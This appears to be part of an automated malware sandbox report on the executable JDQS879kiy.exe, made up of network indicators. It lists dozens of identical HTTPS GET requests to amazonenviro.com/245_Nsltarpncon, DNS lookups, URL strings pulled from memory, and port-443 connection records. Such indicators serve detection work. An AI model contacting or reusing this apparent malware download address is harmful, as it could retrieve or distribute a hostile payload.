Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com

Source: global traffic	DNS traffic detected: DNS query: time.windows.com
Source: global traffic	DNS traffic detected: DNS query: amazonenviro.com

Source: JDQS879kiy.exe, 00000000.00000002.2621413099.000000000060A000.00000004.00000020.00020000.00000000.sdmp, JDQS879kiy.exe, 00000000.00000003.2216997321.0000000000640000.00000004.00000020.00020000.00000000.sdmp, JDQS879kiy.exe, 00000000.00000002.2621413099.000000000055E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/
Source: JDQS879kiy.exe, 00000000.00000003.1427699073.00000000005E8000.00000004.00000020.00020000.00000000.sdmp, JDQS879kiy.exe, 00000000.00000003.1493484348.000000000060A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/&
Source: JDQS879kiy.exe, 00000000.00000003.2491979237.000000000060A000.00000004.00000020.00020000.00000000.sdmp, JDQS879kiy.exe, 00000000.00000003.1493484348.000000000060A000.00000004.00000020.00020000.00000000.sdmp, JDQS879kiy.exe, 00000000.00000003.1607710689.0000000000609000.00000004.00000020.00020000.00000000.sdmp, JDQS879kiy.exe, 00000000.00000003.2200133806.000000000060A000.00000004.00000020.00020000.00000000.sdmp, JDQS879kiy.exe, 00000000.00000002.2621413099.000000000060A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/0X_6
Source: JDQS879kiy.exe, 00000000.00000002.2621413099.00000000005E5000.00000004.00000020.00020000.00000000.sdmp, JDQS879kiy.exe, 00000000.00000003.2200826171.0000000000589000.00000004.00000020.00020000.00000000.sdmp, JDQS879kiy.exe, 00000000.00000003.1493484348.0000000000614000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/245_Nsltarpncon
Source: JDQS879kiy.exe, 00000000.00000003.1427699073.00000000005E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/245_Nsltarpncon$
Source: JDQS879kiy.exe, 00000000.00000003.2491979237.00000000005E1000.00000004.00000020.00020000.00000000.sdmp, JDQS879kiy.exe, 00000000.00000003.2200133806.00000000005E1000.00000004.00000020.00020000.00000000.sdmp, JDQS879kiy.exe, 00000000.00000002.2621413099.00000000005E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/245_Nsltarpncon(u
Source: JDQS879kiy.exe, 00000000.00000003.1493484348.00000000005F5000.00000004.00000020.00020000.00000000.sdmp, JDQS879kiy.exe, 00000000.00000003.2217070241.000000000062E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/245_Nsltarpncon0
Source: JDQS879kiy.exe, 00000000.00000003.1493484348.0000000000614000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/245_Nsltarpncon2
Source: JDQS879kiy.exe, 00000000.00000003.2199981648.000000000062E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/245_Nsltarpncon5
Source: JDQS879kiy.exe, 00000000.00000003.1607710689.00000000005DF000.00000004.00000020.00020000.00000000.sdmp, JDQS879kiy.exe, 00000000.00000003.2491979237.00000000005E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/245_Nsltarpncon6r
Source: JDQS879kiy.exe, 00000000.00000003.2200826171.00000000005A6000.00000004.00000020.00020000.00000000.sdmp, JDQS879kiy.exe, 00000000.00000003.1493484348.00000000005F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/245_NsltarpnconH
Source: JDQS879kiy.exe, 00000000.00000003.1607710689.00000000005F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/245_NsltarpnconRS
Source: JDQS879kiy.exe, 00000000.00000003.1427699073.00000000005E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/245_NsltarpnconU
Source: JDQS879kiy.exe, 00000000.00000003.2491979237.00000000005E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/245_NsltarpnconYu
Source: JDQS879kiy.exe, 00000000.00000002.2635679583.00000000205E6000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/245_Nsltarpnconax
Source: JDQS879kiy.exe, 00000000.00000003.2199981648.000000000062E000.00000004.00000020.00020000.00000000.sdmp, JDQS879kiy.exe, 00000000.00000003.2217070241.000000000062E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/245_Nsltarpnconb
Source: JDQS879kiy.exe, 00000000.00000003.2199981648.000000000062E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/245_Nsltarpnconh
Source: JDQS879kiy.exe, 00000000.00000003.2200133806.00000000005F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/245_NsltarpnconnR
Source: JDQS879kiy.exe, 00000000.00000003.1427699073.00000000005E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/245_NsltarpnconrTw
Source: JDQS879kiy.exe, 00000000.00000002.2621413099.00000000005E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/245_Nsltarpnconru
Source: JDQS879kiy.exe, 00000000.00000003.1493484348.00000000005F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/245_Nsltarpncont
Source: JDQS879kiy.exe, 00000000.00000002.2621413099.00000000005F5000.00000004.00000020.00020000.00000000.sdmp, JDQS879kiy.exe, 00000000.00000003.2491979237.00000000005F5000.00000004.00000020.00020000.00000000.sdmp, JDQS879kiy.exe, 00000000.00000003.1493484348.00000000005F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/245_NsltarpnconzR~
Source: JDQS879kiy.exe, 00000000.00000003.1493484348.000000000060A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/6
Source: JDQS879kiy.exe, 00000000.00000003.1493484348.000000000060A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/F
Source: JDQS879kiy.exe, 00000000.00000003.1427699073.00000000005E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/Qu
Source: JDQS879kiy.exe, 00000000.00000003.1493484348.000000000060A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/V
Source: JDQS879kiy.exe, 00000000.00000002.2621413099.000000000060A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/f
Source: JDQS879kiy.exe, 00000000.00000002.2621413099.000000000055E000.00000004.00000020.00020000.00000000.sdmp, JDQS879kiy.exe, 00000000.00000003.2200826171.0000000000589000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com:443/245_Nsltarpncon
Source: JDQS879kiy.exe, 00000000.00000003.2200826171.0000000000589000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com:443/245_Nsltarpncon$
Source: JDQS879kiy.exe, 00000000.00000003.2200826171.0000000000589000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com:443/245_Nsltarpncon&
Source: JDQS879kiy.exe, 00000000.00000003.1810514593.000000000062A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com:443/245_Nsltarpncon1
Source: JDQS879kiy.exe, 00000000.00000003.2200826171.0000000000589000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com:443/245_Nsltarpncon4
Source: JDQS879kiy.exe, 00000000.00000003.1810514593.000000000062A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com:443/245_Nsltarpncon9
Source: JDQS879kiy.exe, 00000000.00000003.2200826171.0000000000589000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com:443/245_NsltarpnconS
Source: JDQS879kiy.exe, 00000000.00000003.1810514593.000000000062A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com:443/245_Nsltarpncona
Source: JDQS879kiy.exe, 00000000.00000003.2200826171.0000000000589000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com:443/245_Nsltarpnconr
Source: JDQS879kiy.exe, 00000000.00000002.2621413099.000000000055E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com:443/245_NsltarpncontDs

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50125 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50113 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 50120 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50119 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50103 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50104 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50089 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50121 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 50115 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50051
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50122 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
